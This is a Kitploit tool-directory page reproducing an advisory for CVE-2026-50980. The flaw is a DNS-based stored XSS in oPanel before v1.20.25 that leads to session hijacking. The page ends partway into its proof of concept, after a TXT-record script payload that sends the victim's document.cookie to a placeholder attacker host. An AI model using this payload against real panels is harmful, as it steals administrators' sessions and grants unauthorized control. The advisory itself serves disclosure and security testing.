Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-50980 — oPanel DNS-Based Cross-Site Scripting (XSS) & Session Hijacking | Kitploit
Tools/GitHubGitHub/bugresearch/cve-2026-50980
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityDNS Analysis
GitHubbugresearch/cve-2026-50980

CVE-2026-50980

oPanel DNS-Based Cross-Site Scripting (XSS) & Session Hijacking

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-50980: DNS-Based Cross-Site Scripting (XSS) & Session Hijacking in oPanel

Overview

  • CVE ID: CVE-2026-50980
  • Product: oPanel
  • Affected Versions: < v1.20.25
  • Vulnerability Type: Stored Cross-Site Scripting (XSS) via DNS / Session Hijacking
  • Severity: High (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)

Description

A Cross-Site Scripting (XSS) vulnerability exists in oPanel (versions prior to v1.20.25) due to the improper handling and sanitization of DNS responses. When the panel performs a DNS query (e.g., retrieving domain information, checking DNS propagation, or querying TXT records) against an attacker-controlled nameserver, it reflects the returned DNS records directly into the web interface without adequate HTML encoding.

An attacker can exploit this by configuring a rogue DNS server to respond to TXT record queries with a malicious JavaScript payload. When an authenticated oPanel user (such as an administrator) views the page where the DNS response is displayed, the payload is executed within the context of their browser session.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. As demonstrated in the Proof of Concept, this can be leveraged to steal sensitive authentication cookies (document.cookie), leading to complete session hijacking and unauthorized administrative access to the oPanel environment.

Proof of Concept (PoC)

The exploitation requires the attacker to set up a malicious DNS server and an HTTP listener to capture the exfiltrated data.

1. Attacker Infrastructure Setup

The attacker runs a rogue DNS server on UDP port 53 that is configured to respond to any TXT query with an XSS payload.

Malicious TXT Record Payload:

root@kitploit:~
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>
Download Tool